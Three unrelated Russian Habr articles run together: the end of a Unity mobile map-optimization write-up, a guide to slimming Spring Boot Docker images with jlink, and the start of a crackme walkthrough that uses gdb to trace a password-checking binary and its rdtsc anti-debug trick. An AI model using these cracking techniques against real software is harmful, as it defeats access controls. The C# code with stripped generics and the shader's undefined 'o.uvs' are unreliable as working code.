TerrainMeshPart.meshRenderer.enabled = true;
TerrainMeshPart.LowMesh = lowMesh[lowMeshIndex];
bool FirstTimeMeshCreated = (TerrainMeshPart.mesh == null || TerrainMeshPart.mesh.vertexCount == 0); // проверяем новый меш или перезаполняем список вертексов и UV-координат
if (TerrainMeshPart.LowMesh != null)
{
TerrainMeshPart.LowMesh.enabled = false;
TerrainMeshPart.meshRenderer.sharedMaterial = TerrainMeshPart.usePreviewMaterial ? terrainData.previewTerrainMaterial : terrainData.materials[lowMeshIndex];
TerrainMeshPart.trans.position = TerrainMeshPart.LowMesh.transform.position;
}
int meshResolution = terrainData.maxMeshResolution / decimator + 1;
int partWidth = (terrainData.width -1) / terrainData.gridWidth;
float partSize = terrainData.realSize / terrainData.gridWidth;
int xCoord;
int yCoord;
float height;
bool isTop = meshPosition == MeshPosition.Top || meshPosition == MeshPosition.TopLeft || meshPosition == MeshPosition.TopRight;
bool isBot = meshPosition == MeshPosition.Bot || meshPosition == MeshPosition.BotLeft || meshPosition == MeshPosition.BotRight;
bool isLeft = meshPosition == MeshPosition.Left || meshPosition == MeshPosition.TopLeft || meshPosition == MeshPosition.BotLeft;
bool isRight = meshPosition == MeshPosition.Right || meshPosition == MeshPosition.TopRight || meshPosition == MeshPosition.BotRight; // чтобы избежать дырок на стыках лоу и хай меша, определяем с каких граней чанка нужно дополнительно обработать позиции четных вертексов
float ReadHeightStep = (float)partWidth / terrainData.maxMeshResolution * decimator;
int intReadHeightStep = Mathf.RoundToInt(ReadHeightStep);
float VertexStep = terrainData.realSize / (float)terrainData.gridWidth / terrainData.maxMeshResolution * decimator;
float xVertexPos = 0;
float yVertexPos = 0;
int ReadCoordinateForX = 0;
int ReadCoordinateForY = 0;
float fromByteToFloat = 1f / 255;
float finalHeightMultiplyer = terrainData.MaxHeight * fromByteToFloat;
for (int x = 0; x < meshResolution; x++)
{
for (int y = 0; y < meshResolution; y++)
{
int offsetX = partWidth * X;
int offsetY = partWidth * Y;
if (isEdge && (x & 1) != 0 && ((y == 0 && isBot) || (y == meshResolution - 1 && isTop)))
{
xCoord = offsetX + (x - 1) * intReadHeightStep;
ReadCoordinateForX = offsetX + (x + 1) * intReadHeightStep;
yCoord = offsetY + y * intReadHeightStep;
byte heightT = heights[ArrayToLinear(ReadCoordinateForX, yCoord, terrainData.minitex.width)];
height = 0.5f * (heights[ArrayToLinear(xCoord, yCoord, terrainData.minitex.width)] + heightT);
}
else if (isEdge && (y & 1) != 0 && ((x == 0 && isLeft) || (x == meshResolution - 1 && isRight)))
{
xCoord = offsetX + x * intReadHeightStep;
ReadCoordinateForY = offsetY + (y + 1) * intReadHeightStep;
yCoord = offsetY + (y - 1) * intReadHeightStep;
byte heightT = heights[ArrayToLinear(xCoord, ReadCoordinateForY, terrainData.minitex.width)];
height = 0.5f * (heights[ArrayToLinear(xCoord, yCoord, terrainData.minitex.width)] + heightT);
}
else
{
xCoord = offsetX + x * intReadHeightStep;
yCoord = offsetY + y * intReadHeightStep;
int index = ArrayToLinear(xCoord, yCoord, terrainData.minitex.width);
height = heights[index];
}
int arrPos = ArrayToLinear(x, y, meshResolution);
xVertexPos = x * VertexStep;
yVertexPos = y * VertexStep;
verts[arrPos] = new Vector3(xVertexPos, height * finalHeightMultiplyer, yVertexPos);
uv[arrPos] = new Vector2((partSize * X + xVertexPos) / terrainData.realSize, (partSize * Y + yVertexPos) / terrainData.realSize);
if (FirstTimeMeshCreated)//check if triangles already created
{
if (x < meshResolution - 1 && y < meshResolution - 1)
{
indicesList.Add(arrPos);
indicesList.Add(ArrayToLinear(x, y + 1, meshResolution));
indicesList.Add(ArrayToLinear(x + 1, y + 1, meshResolution));
indicesList.Add(arrPos);
indicesList.Add(ArrayToLinear(x + 1, y + 1, meshResolution));
indicesList.Add(ArrayToLinear(x + 1, y, meshResolution));
}
}
}
}
TerrainMeshPart.mesh.vertices = verts;
TerrainMeshPart.mesh.uv = uv;
if (!FirstTimeMeshCreated) return;
float volume = terrainData.realSize / terrainData.gridWidth;
var BoundsSize = new Vector3(volume, terrainData.MaxHeight, volume);
TerrainMeshPart.mesh.bounds = new Bounds(BoundsSize / 2, BoundsSize);
TerrainMeshPart.mesh.SetIndices(indicesList.ToArray(), MeshTopology.Triangles, 0);
}
```
### Лодирование
Дальше нужно было оптимизировать объекты на карте. Для их отрисовки на дистанции использовали систему лодов — чем дальше объект, тем меньше его детализация. Казалось, инструмент «из коробки» должен просто работать, но на деле — нет. На карте оказалось несколько десятков тысяч объектов: ящики, кусты, заборы, дома, деревья.
С системой лодов есть особенность: в ней настраивается не дистанция, с которой будет виден объект, а соотношение размера габаритного бокса объекта к высоте экрана, после которого объект переключит свой уровень детализации. Например, если на одной дистанции стоит стул и дерево, то при одинаковых настройках стул будет раньше дерева переключать свои лоды.
Область видимости у нас ограничена туманом, который полностью скрывает объекты, начиная с расстояния 150 метров. Какие-то объекты при одинаковых настройках меняются, а какие-то не меняются даже в тумане (когда их можно отрисовать попроще). Можно было бы настроить все вручную, но бедных дизайнеров и тут спасла автоматизация.
Написали специальный скрипт, который пересчитывал размер лодов под дистанции. Настройка у лодов от 0 до 1, где нужно ставить границу: например, от 0 до 0,3, от 0,3 до 0,5 и так далее. Мы это перевели в метры и получили для каждого объекта индивидуальные настройки.
Нехитрый кусок кода для перевода дистанции в относительные размеры на экране:
```
float DistanceToRelativeHeight(float distance, float lodHeight)
{
var halfAngle = Mathf.Tan(Mathf.Deg2Rad * defaultFov * 0.5f);
var relativeHeight = lodHeight * 0.5f / (distance * halfAngle);
return relativeHeight;
}
```
Важно: результат вычислений зависит от угла обзора камеры, поэтому все расчеты проводились под наш таргетный FOV.
Кроме того, если LODGroup не отрисовывает объект (отсекает по дистанции), CPU все равно производит вычисления, потому что даже невидимый лод каждый кадр высчитывает, нужно ему отображаться или нет.
Чтобы снять нагрузку, решили скрывать лоды в удаленных от игрока чанках. Это значительно увеличило производительность и выявило новую проблему — оперативная память была забита.
На карте несколько десятков тысяч объектов и все они занимают оперативную память. Тонна сериализуемых данных, имена объектов, информация об их положении, повороте, скейле и так далее. В рамках одного объекта эта информация весит сущий пустяк, но когда их очень много — начинаются проблемы. Весь объем данных об объектах на карте съедал под 200 МБ оперативной памяти, что приводило к вылетам по нехватке памяти на слабых девайсах. Две сотни мегабайт под трансформы, компоненты и прочие вещи, когда нужно хранить еще и информацию о текстурах, мешах, анимациях, конфигах и так далее — непозволительная роскошь.
### Система пулов
Решили кардинально закрыть вопрос с оперативной памятью и написали систему пулов. Она считает максимальное количество объектов, которые можно одновременно отрисовать. Например, максимальное количество деревьев, которое игрок может увидеть за раз равно 20 — мы помещаем 20 деревьев в пул и расставляем по карте только там, где они должны быть видны в данный момент. Расстановка объектов происходит не каждый кадр, а при переходе из чанка в чанк.
Система помнит, где и какой объект стоит, поэтому не хранит лишнюю информацию. Раньше у нас стоял реальный объект с кучей скриптов и компонентов Unity, а сейчас об объекте хранится только самое важное: где взять его экземпляр, куда поставить и как повернуть.
В пул решили не помещать большие объекты, служащие лендмарками, которые должны быть видны издалека. Лодирование для них настраивалось вручную.
Код расстановки объектов для чанка:
```
public void PlaceObjects(int x, int y)
{
newChunks = FillListOfAjacentChunks(x,y);
// неиспользуемыми считаются чанки, которых нет в списке newChunks
ClearUnusedChunks();
for (int i = 0; i < newChunks.Count; i++)
{
var newChunkId = newChunks[i];
// если чанк есть в списке currentChunks, то объекты на нем уже расставлены
// и расставлять их заново не нужно
if (newChunkId != -1 && !currentChunks.Contains(newChunkId))
{
UpdateChunk(newChunkId);
}
}
for (int i = 0; i < newChunks.Count; i++)
{
var newChunkId = newChunks[i];
currentChunks[i] = newChunkId;
}
}
// тут мы используем сериализуемые Dictionary для хранения списка списков
#region MyDictionaryOfPoolObjects
[System.Serializable]
public class MyDictionaryOfPoolObjects : SerializableDictionary { }
[System.Serializable]
public class PoolObjListHolder
{
public List entityList;
}
#endregion
void UpdateChunk(int chunkID)
{
Chunk chunk = chunks[chunkID];
for (int i = 0; i < chunk.objectsInChunk.Count; i++)
{
string key = chunk.objectsInChunk[i];
List \_pool = pool.dictionary[key].entityList;
int \_placedObjectsCount = poolUseCounter.dictionary[key];
List poses = chunk.positions.dictionary[key].entityList;
List rotations = chunk.rotations.dictionary[key].entityList;
// учитываем количество свободных объектов
// из количества объектов в пуле вычитаем число уже используемых
// а также вычитаем количество которое предстоит расставить
int delta = \_pool.Count - \_placedObjectsCount - poses.Count;
// если объектов нужно больше, чем лежит в пуле, то создаем еще
if (delta < 0)
{
ExpandPool(\_pool, Mathf.Abs(delta) + 1);
}
// так как мы не знаем наверняка, какие объекты уже используются, а какие возвращены в пул, то пройдемся по всем начиная с первого
int counter = 0;
for (int j = 0; j < poses.Count; j++)
{
var poolObj = \_pool[counter];
counter++;
// если объект уже на карте, то пропускаем его
if (poolObj.isPlaced)
{
j--;
continue;
}
\_placedObjectsCount++;
poolObj.currentChunk = chunkID;
poolObj.isPlaced = true;
poolObj.obj.position = poses[j];
poolObj.obj.rotation = rotations[j];
}
poolUseCounter.dictionary[key] = \_placedObjectsCount;
}
}
```
Если раньше все объекты одновременно стояли на карте и забивали оперативку кучей информации, то теперь их поместили в пул. Условно, в памяти стало хранится не 2000 деревьев, а 20.
Как мы определяем сколько объектов поместить в пул? Пул проходится по чанкам и проверяет, какое максимальное количество объектов может отрисовываться за раз. Например, находясь в чанке х2y2, объекты будут расставлены для него и всех соседних чанков. Так мы проходимся по каждому чанку, захватывая соседние, рассчитываем максимальное количество активных объектов одного типа и запоминаем его, если число больше предыдущего.
Код подсчета количества экземпляров уникального объекта для помещения в пул:
```
List MaxUniqueObjectInstancesCount = new List();
for (int i = 0; i < UniqueObjectNames.Count; i++)
{
if (isDebug)
{
Debug.Log("Prefab name : " + UniqueObjectNames[i]);
}
MaxUniqueObjectInstancesCount.Add(0);
for (int x = 0; x < Grid; x++)
{
for (int y = 0; y < Grid; y++)
{
var maxCountOfObjectsForChunk = CalculateMaxObjectsInThisAndAdjacentChunks(x, y, UniqueObjectNames[i]);
if (isDebug && maxCountOfObjectsForChunk > 0)
{
Debug.Log(string.Format("Chunk: ({0},{1}) Count : {2}", x, y, maxCountOfObjectsForChunk));
}
if (maxCountOfObjectsForChunk > MaxUniqueObjectInstancesCount[i])
{ MaxUniqueObjectInstancesCount[i] = maxCountOfObjectsForChunk;
}
}
}
}
```
Объекты пула хранятся в удаленных координатах (х -999999) в активном состоянии, неактивны только компоненты объектов (Renderer, MeshFilter, LODGroup, MeshCollider и другие). При размещении объекта на карту все компоненты включаются.
Почему просто не включать/выключать родительский объект? Во время профилирования обратили внимание, что при одновременном включении кучи объектов происходит резкий дроп производительности из-за массового вызова GameObject.Activate (Unity выполняет метод Activate, чтобы вызвать на всех компонентах включенного объекта OnEnable и произвести прочие действия).
> С пулом была одна особенность: он работал только с инстансами префабов, так пул-менеджер определял является ли объект часто повторяющимся. Например, левел-дизайнер случайно ломал связь инстанса с основным префабом или еще как-то менял его — и тот переставал подтягиваться в пул. Или (что еще хуже) менял объект, когда тот был уже в пуле. С этим тоже был отдельный блок работы, чтобы все подобные ситуации правильно читались системой и все работало как надо.
>
>
Чтобы определить потенциальную нагрузку на GPU внутри чанка, мы написали анализатор. Он проходится по каждому чанку и сообщает, сколько в нем объектов находится и сколько треугольников нужно на отрисовку всех объектов. Отличительной чертой всех объектов на карте является наличие компонента LODGroup, нам осталось только получить их список и подсчитать суммарное количество треугольников по чанкам.
Код можно было улучшить, но тогда мы были сильно ограничены во времени:
```
[ContextMenu("(Debug)Find chunks triangles density")]
void CheckVertexCount()
{
PlaceAllObjects();
Dictionary chunkTrianglesCount = new Dictionary();
var worldObjects = FindObjectsOfType();
for (int i = 0; i < worldObjects.Length; i++)
{
int trianglesCount = 0;
var chunkId = chunks[GetCurrentChunkId(worldObjects[i].transform.position)].id.ToString();
if (chunkTrianglesCount.ContainsKey(chunkId)) trianglesCount = chunkTrianglesCount[chunkId];
else chunkTrianglesCount.Add(chunkId, 0);
if (worldObjects[i].GetLODs()[0].renderers != null)
{
var count = 0;
foreach (Renderer r in worldObjects[i].GetLODs()[0].renderers)
{
if (r)
{
MeshFilter meshFilter = r.GetComponent();
if (meshFilter && meshFilter.sharedMesh != null)
{
count += meshFilter.sharedMesh.triangles.Length;
}
}
}
trianglesCount += count;
// логируем количество треугольников в объектах
Debug.Log(chunkId + " Object Name: " + worldObjects[i].name + " Triangles Count: " + count);
}
chunkTrianglesCount[chunkId] = trianglesCount;
}
for (int i = 0; i < chunks.Length; i++)
{
var chunkId = chunks[i].id.ToString();
if (chunkTrianglesCount.ContainsKey(chunkId))
Debug.Log("Chunk: " + chunkId + " Triangles count: " + chunkTrianglesCount[chunkId]);
}
RemoveAllObjectsToPool();
}
```
Получив такую статистику, нашли насыщенные объектами места. И уже левел-дизайнеры и художники взялись за оптимизацию отдельных участков. Например, в игре есть район со школой, где анализатор насчитал 300 тысяч вертексов. Убрали лишний декор типа глобусов на столах, раскиданных книг, геймплейно ненужных камней и кустов — количество сократилось до 100 тысяч.
### Освещение
Следующим этапом нужно было запекать освещение. На предыдущем проекте мы писали отдельную технологию подгрузки карт освещения, но она работала медленно и много весила — на самой мощной из доступных нам машин расчет освещения для всей карты занимал от 10 до 30 часов. Такой вариант точно не подходил.
К тому же, это не работало с нашей текущей реализацией системы пула — чтобы запечь свет, системе освещения нужно знать точные позиции объектов. То есть нужно, чтобы все условные деревья стояли на своих местах, от чего мы буквально только что отказались.
Нашли очень простое и быстрое решение: включили риалтайм освещение, на всю карту наложили серый шейдер, объекты скрыли специальным шейдером (который не рендерит геометрию, но отбрасывает тени) и сверху сделали снимок всей карты. За несколько секунд получилось черно-белое изображение того, как падают тени в реальном времени. Затем в шейдер террейна дописали, чтобы он брал эту картинку и использовал в качестве карты теней. Чуть позже эта процедура упростилась до нажатия одной кнопки.
Карта тенейВ итоге вместо 30 часов на запекание теней уходит 5 минут. Переставили объекты, нажали одну кнопку и получили готовую карту теней.
Тут есть важный момент: тени падают на сам террейн, но не на объекты (на них не работает лайтмаппинг). Для решения этой задачи написали шейдер, который берет нашу карту теней и накладывает на объекты, используя координаты их вертексов.
Код шейдера:
```
Shader "Optimized/FallBack/DiffuseTopDownShaded"
{
Properties
{
_MainTex("Texture", 2D) = "white" {}
_ShadowTex("Shadow Texture", 2D) = "white" {}
_Scale("Scale", Float) = 1
_OffsetX("Offset X", Float) = 1
_OffsetY("Offset Y", Float) = 1
}
SubShader
{
Tags{ "RenderType" = "Opaque" "Queue" = "Geometry" "IgnoreProjector" = "True" }
ZWrite On
ZTest Less
LOD 200
Cull Back
Lighting Off
Pass
{
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#pragma multi_compile_fog
#include "UnityCG.cginc"
struct v2f
{
float2 uv : TEXCOORD0;
fixed2 projectedUV : TEXCOORD2;
UNITY_FOG_COORDS(1)
float4 vertex : SV_POSITION;
};
sampler2D _MainTex;
sampler2D _ShadowTex;
float4 _MainTex_ST;
fixed _Scale;
fixed _OffsetX;
fixed _OffsetY;
v2f vert(appdata_full v)
{
v2f o;
o.vertex = UnityObjectToClipPos(v.vertex);
o.uv = TRANSFORM_TEX(v.texcoord, _MainTex);
fixed4 vertPose = mul(unity_ObjectToWorld, v.vertex);
o.projectedUV = vertPose.xz + fixed2(_OffsetX, _OffsetY);
o.projectedUV = o.uvs / _Scale;
UNITY_TRANSFER_FOG(o,o.vertex);
return o;
}
fixed4 frag(v2f i) : SV_Target
{
fixed4 col = tex2D(_MainTex, i.uv);
fixed4 col2 = tex2D(_ShadowTex, i.projectedUV) * col;
UNITY_APPLY_FOG(i.fogCoord, col2);
return col2;
}
ENDCG
}
}
}
```
Шейдер, по сути, использует наш снимок теней, приводит координаты вертекса к реальным мировым координатам и затем затеняет объект. Отдельно для каждого объекта ничего не запекается, а карта теней — это одна текстура 1024 на 1024 пикселей для всего батлрояля.
В результате деревья у подножия горы действительно находятся в тени. Не супер реалистично, но этого достаточно, чтобы не нарушать игровой опыт.
Пример работы затенения: на кубическую сосну падает тень от кубического элеватораИ наглядная демонстрация ### Вторая карта
Даже оптимизированную карту 2 на 2 километра не все мобильные девайсы смогли потянуть. Чтобы не лишать игроков нового режима, мы сделали мини-версию карты размером 800 на 800 метров, применив те же самые инструменты.
Экран выбора картыПользователи могут сами выбрать, на какой карте им играть. Но первой всегда предлагается та, которую точно потянет устройство (это автоматически проверяется). В какой-то момент мы даже добавили предупреждающий поп-ап, который появлялся на слабых девайсах и сообщал о возможных проблемах с производительностью. Его потом убрали — игрокам не нравится, когда им говорят, что у них на телефоне что-то не запустится.
А недавно на текущих технологиях мы выпустили уже третью карту 1,5×1,5 км — всего за месяц работы команды из восьми 3D-дизайнеров, левел-дизайнера и технического художника.
Третья карта для батлрояля### Постскриптум
Это только часть работы — здесь я затронул графику и все, что с ней связано.
В следующем материале поговорим про сетевую часть:
* Как оптимизировали трафик и код, что траты на сервер сократились на 20%.
* Расскажу, как с помощью системы пулов срезали количество сетевых сообщений, чтобы не перегружать устройства игроков.
* Почему выбрали сужение зоны по сценарию, а не рандомное (для этого написали отдельный редактор). | https://habr.com/ru/post/563976/ | null | ru | null |
# Уменьшение размера docker образа с spring boot приложением
Добрый день.
Недавно передо мной встала задача запуска spring boot 2 приложения в kubernetes кластере используя docker образ. Эта проблема не является новой, достаточно быстро я нашел примеры в гугле и запаковал свое приложение. Я был очень удивлен не найдя alpine образ для jdk11 и надеялся что slim будет достаточно небольшим, но момент отправки образа на docker registry я обратил внимание что его размер составлял почти 422 мегабайт. Под катом описание того как я уменьшил docker образ с моим spring boot и java 11 до 144 мегабайт.
Приложение
----------
Как я уже упомянул ранее, мое приложение построено используя spring boot 2 и представляет из себя REST API обертку над реляционной базой данных (используя @RepositoryRestResource). Мои зависимости включают:
```
org.springframework.boot:spring-boot-starter-data-rest
org.springframework.boot:spring-boot-starter-data-jpa
org.flywaydb:flyway-core
org.postgresql:postgresql
```
Собранный jar файл имеет размер: 37,6 мегабайт.
Dockerfile:
```
FROM openjdk:11-jdk-slim
WORKDIR /home/demo
ARG REVISION
COPY target/spring-boot-app-${REVISION}.jar app.jar
ENTRYPOINT ["java","-jar","app.jar"]
```
В результате сборки я получаю образ размером: 422 мб согласно выводу команды docker images. Интересно что при использовании устаревшего образа 8-jdk-slim, размер уменьшается до 306 мб.
Попытка 1: другой базовый образ
-------------------------------
Первым логичным шагом была попытка найти более легковесный образ, желательно на основе alpine. Я просканировал на наиболее популярные репозитории с джавой:
* <https://hub.docker.com/_/openjdk>
* <https://hub.docker.com/r/adoptopenjdk/openjdk11>
* <https://hub.docker.com/r/adoptopenjdk/openjdk11-openj9>
* <https://hub.docker.com/r/adoptopenjdk/openjdk8>
(11 как текущий LTS релиз и 8 так как все еще есть достаточное количество приложений которые не смогли мигрировать на более современные версии)
Таблица с образами и тегами (~2700), их размерами на момент написания статьи доступна [тут](https://www.dropbox.com/s/19mhkxmix8iztx2/openjdk_tags_2019-06-24.csv?dl=0)
Вот некоторые из них:
```
openjdk 8 488MB
openjdk 8-slim 269MB
openjdk 8-alpine 105MB
openjdk 8-jdk-slim 269MB
openjdk 8-jdk-alpine 105MB
openjdk 8-jre 246MB
openjdk 8-jre-slim 168MB
openjdk 8-jre-alpine 84.9MB
openjdk 11 604MB
openjdk 11-slim 384MB
openjdk 11-jdk 604MB
openjdk 11-jdk-slim 384MB
openjdk 11-jre 479MB
openjdk 11-jre-slim 273MB
adoptopenjdk/openjdk8 alpine 221MB
adoptopenjdk/openjdk8 alpine-slim 89.7MB
adoptopenjdk/openjdk8 jre 200MB
adoptopenjdk/openjdk8 alpine-jre 121MB
adoptopenjdk/openjdk11 alpine 337MB
adoptopenjdk/openjdk11 alpine-slim 246MB
adoptopenjdk/openjdk11 jre 218MB
adoptopenjdk/openjdk11 alpine-jre 140MB
```
Таким образом, если поменять базовый образ на adoptopenjdk/openjdk11:alpine-jre то можно уменьшить образ с приложением до 177 мб.
Попытка 2: custom runtime
-------------------------
С момента выпуска jdk9 и модуляризации появилась возможность собрать собственный рантайм который содержит только те модули что необходимы вашему приложению. Детальнее об этой функциональности можно прочитать [тут](https://docs.oracle.com/javase/9/tools/jlink.htm).
Попробуем определить необходимые модули для тестового spring boot приложения:
```
~/app ᐅ jdeps -s target/app-1.0.0.jar
app-1.0.0.jar -> java.base
app-1.0.0.jar -> java.logging
app-1.0.0.jar -> not found
```
Окей, похоже что jdeps не может справиться с fat-jar созданным при помощи spring boot, но мы можем распаковать архив и прописать classpath:
```
~/app ᐅ jdeps -s -cp target/app-1.0.0/BOOT-INF/lib/*.jar target/app-1.0.0.jar.original
Error: byte-buddy-1.9.12.jar is a multi-release jar file but --multi-release option is not set
~/app ᐅ jdeps -s --multi-release 11 -cp target/app-1.0.0/BOOT-INF/lib/*.jar target/app-1.0.0.jar.original
Error: aspectjweaver-1.9.2.jar is not a multi-release jar file but --multi-release option is set
```
По этому поводу на текущий момент открыт баг: <https://bugs.openjdk.java.net/browse/JDK-8207162>
Я попробовал скачать jdk12 чтобы получить эту информацию, но столкнулся со следующей ошибкой:
```
Exception in thread "main" com.sun.tools.classfile.Dependencies$ClassFileError
...
Caused by: com.sun.tools.classfile.ConstantPool$InvalidEntry: unexpected tag at #1: 53
```
Методом проб, ошибок и поиска модулей по ClassNotFoundException я определил что моему приложению необходимы следующие модули:
* java.base
* java.logging
* java.sql
* java.naming
* java.management
* java.instrument
* java.desktop
* java.security.jgss
Рантайм для них можно собрать используя:
```
jlink --no-header-files --no-man-pages --compress=2 --strip-debug --add-modules java.base,java.logging,java.sql,java.naming,java.management,java.instrument,java.desktop,java.security.jgss --output /usr/lib/jvm/spring-boot-runtime
```
Попробуем построит базовый docker образ используя эту модули:
```
FROM openjdk:11-jdk-slim
RUN jlink --no-header-files --no-man-pages --compress=2 --strip-debug --add-modules java.base,java.logging,java.sql,java.naming,java.management,java.instrument,java.desktop,java.security.jgss --output /usr/lib/jvm/spring-boot-runtime
FROM debian:stretch-slim
COPY --from=0 /usr/lib/jvm/spring-boot-runtime /usr/lib/jvm/spring-boot-runtime
RUN ln -s /usr/lib/jvm/spring-boot-runtime/bin/java /usr/bin/java
```
и соберем его:
```
docker build . -t spring-boot-runtime:openjdk-11-slim
```
В результате размер составил 106 мегабайт, что значительно меньше большинства найденных базовых образов с openjdk. Если использовать его для моего приложения, то результирующий размер получится 144 мегабайт.
Далее мы можем использовать `spring-boot-runtime:openjdk-11-slim` как базовый образ для всех spring boot приложений если они имеют схожие зависимости. В случае различных зависимостей, возможно использовать multistage сборку образа для каждого из приложений где на первом этапе будет собираться java runtime, а на втором добавляться архив с приложением.
```
FROM openjdk:11-jdk-slim
RUN jlink --no-header-files --no-man-pages --compress=2 --strip-debug --add-modules java.base,YOUR_MODULES --output /usr/lib/jvm/spring-boot-runtime
FROM debian:stretch-slim
COPY --from=0 /usr/lib/jvm/spring-boot-runtime /usr/lib/jvm/spring-boot-runtime
WORKDIR /home/demo
ARG REVISION
COPY target/app-${REVISION}.jar app.jar
ENTRYPOINT ["/usr/lib/jvm/spring-boot-runtime/bin/java","-jar","app.jar"]
```
Вывод
-----
На текущий момент большинство docker образов для java имеют достаточно большой объем, что может негативно сказаться на времени старта приложения, особенно в случае если необходимых слоев еще нет на сервере. Используя теги с jre либо воспользовавшись модуляризацией java можно собрать собственный рантайм что позволит значительно сократить размер образа приложения. | https://habr.com/ru/post/457476/ | null | ru | null |
# Меня попросили взломать программу на собеседовании. Часть 2
*Это перевод второй части публикации [«Меня попросили взломать программу на собеседовании»](http://habrahabr.ru/post/237469). Оригинальный текст можно найти [здесь](http://erenyagdiran.github.io/I-was-just-asked-to-crack-a-program-Part-2/).*
#### Предисловие
Привет, ребята. Если вы не знаете, что означает «Часть 2», пожалуйста прочитайте [Часть 1](http://habrahabr.ru/post/237469).
Для начала я хотел бы поблагодарить всех прочитавших первую часть, поскольку в итоге я получил массу отличных отзыв.
Так же я бы хотел устранить некоторые недопонимания:
1. Я более не работаю на данную компанию, я переехал в Барселону;
2. Я проходил данное интервью почти год назад;
3. Программы я взламывал в облаке ($5 тариф, да, вы угадали компанию), поэтому я не считаю, что использование **root@**'a является проблемой — я могу пересоздать новую среду за пару секунд. В итоге я все же переключился на пользователя **eren@**, так как gdb не принимал рутовые инит файлы.
4. Не забудьте прочитать окончание статьи — вам обязательно понравится!
#### Поехали
На этот раз мы будем работать не с дверью, а с **ядерной ракетой**.
```
eren@lisa:~$ ./CrackTheNuke
*** NUKE CONTROL SYSTEM ***
PASSWORD: giveMeNuke
*** ACCESS DENIED ***
PASSWORD: iwantanexplosion
*** ACCESS DENIED ***
PASSWORD: knockknockitsme
*** ACCESS DENIED ***
*** SYSTEM LOCKED ***
*** SHUTTING DOWN ***
eren@lisa:~$
```
Я создам дамп всего бинарника с *intel asm* синтаксисом, как образец:
```
eren@lisa:~$ objdump -M intel -D CrackTheNuke > staticDis
eren@lisa:~$
```
Этот файл нам понадобится позже. Если вы загляните в файл *staticDis* , вы сможете найти полный дамп с *intel*'овским синтаксисом.
Давайте на этот раз попробуем кое-что другое: для начала я запущу процесс, а после подцеплю на него дебаггер.
```
eren@lisa:~$ ./CrackTheNuke
*** NUKE CONTROL SYSTEM ***
PASSWORD:
```
Теперь мы можем переключиться в другой шелл и запустить из него отладчик:
```
eren@lisa:~$ ps aux | grep Crack
eren 4741 0.0 0.0 1724 252 pts/0 S+ 14:54 0:00 ./CrackTheNuke
eren 4845 0.0 0.1 7832 832 pts/1 S+ 14:56 0:00 grep Crack
eren@lisa:~$ gdb --pid 4741
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86\_64-linux-gnu".
For bug reporting instructions, please see:
.
Catchpoint 1 (syscall 'ptrace' [26])
Attaching to process 4741
Reading symbols from /home/eren/CrackTheNuke...(no debugging symbols found)...done.
Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib32/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xf7726430 in \_\_kernel\_vsyscall ()
=> 0xf7726430 <\_\_kernel\_vsyscall+16>: 5d pop ebp
(gdb)
```
Теперь вы можете ввести любые 16 символов в предыдущем окне и вернуться сюда. Сейчас мы находимся в функции *scanf*, которая покоится в библиотеке *glibc* (*crackme* будет вызывать scanf 16 раз, но мы сэкономим здесь немного времени).
В gdb вы можете набрать ***si*** (аббр. от *single step*). Вводите *si*, пока не доберетесь до адреса: **0x80495ed**. Или же можете просто ввести команду: `b * 0x80495ed` и нажать `с`, чтобы добраться до необходимого адреса.
В любом случае, теперь мы на месте:
```
0x80495ed :
```
Здесь мы можем увидеть операцию сравнения:
```
0x80495ed : cmp DWORD PTR [esp+0x1c],0x0
```
В gdb вы можете ввести: `p/x $esp` для просмотра содержимого *$esp*.
Также вы можете провести некоторые вычисления с использованием регистров и адресов: `p/x $esp+0x1c`. Или же просмотреть содержимое адреса после разименования: `p/x *0xff811bac`.
Здесь вы можете ввести *si*, что приведет нас к моменту, когда *crackme* получил наши 16 символов и ожидает символ окончания строки *\n*.
Советую вам поставить брейкпоинт по адресу **0x804962d** : `b * 0x804962d`, если вы не хотите долго и мучительно ждать.
А вот теперь начинается веселье:
```
=> 0x804962d : push eax
0x804962e : push ebx
0x804962f : rdtsc
0x8049631 : and eax,0xfffff
0x8049636 : test eax,eax
0x8049638 : je 0x8049646
0x804963a : xor ebx,0xe
0x804963d : add ebx,0xe
0x8049640 : sub ebx,0xe
0x8049643 : dec eax
```
Слышали ли вы когда-нибудь об инструкции [rdtsc](https://ru.wikipedia.org/wiki/Rdtsc)? Её основная задача — подсчет количества циклов процессора. После вызова *rdtsc* счётчик TSC будет помещен в регистры *edx* и *eax*:
```
0x8049636 : test eax,eax
0x8049638 : je 0x8049646
```
То же самое на С выглядело бы примерно так:
```
if(eax == 0)
{
goto 0x8049646
}
```
Поскольку *eax* не равен 0, мы продолжим копать. Как вы вероятнее всего заметили, нижеприведенный код — полный треш: мы добавляем *0xe* к *ebx*, а затем вычитаем его. Похоже, нас пытаются запутать.
```
xor ebx,0xe
add ebx,0xe
sub ebx,0xe
dec eax
```
Пока *eax* равен 0, продолжаем данный цикл.
Поставьте брейкпоинт: `b * 0x8049646` и нажмите *c*.
Окей, ничего интересного — идем дальше.
```
=> 0x80494db : push ebp
0x80494dc : mov ebp,esp
0x80494de : sub esp,0x14
0x80494e1 : mov DWORD PTR [ebp-0x4],0x0
0x80494e8 : mov DWORD PTR [esp],0x0
0x80494ef : call 0x804944b
0x80494f4 : mov eax,DWORD PTR [ebp+0x8]
0x80494f7 : mov DWORD PTR [esp],eax
0x80494fa : call 0x8048604
0x80494ff : mov DWORD PTR [esp],0x2
0x8049506 : call 0x804944b
0x804950b : mov eax,DWORD PTR [ebp+0x8]
0x804950e : mov DWORD PTR [esp],eax
0x8049511 : call 0x8048ab1
0x8049516 : mov DWORD PTR [ebp-0x4],eax
0x8049519 : mov DWORD PTR [esp],0x1
0x8049520 : call 0x804944b
0x8049525 : mov eax,DWORD PTR [ebp-0x4]
0x8049528 : leave
0x8049529 : ret
```
`nkc1qpE2L6f6AyqaendA` — эта функция и есть основой всего процесса.
Давайте попробуем исследовать все функции, к которым обращается *nkc1qpE2L6f6AyqaendA*: *qEWL8Jl0zdpmTbwhziDv* , *fjDKIzPtGuE8ZdfSL8vq* и *W0ElBw5Smo9TPiWOeK8c*:
```
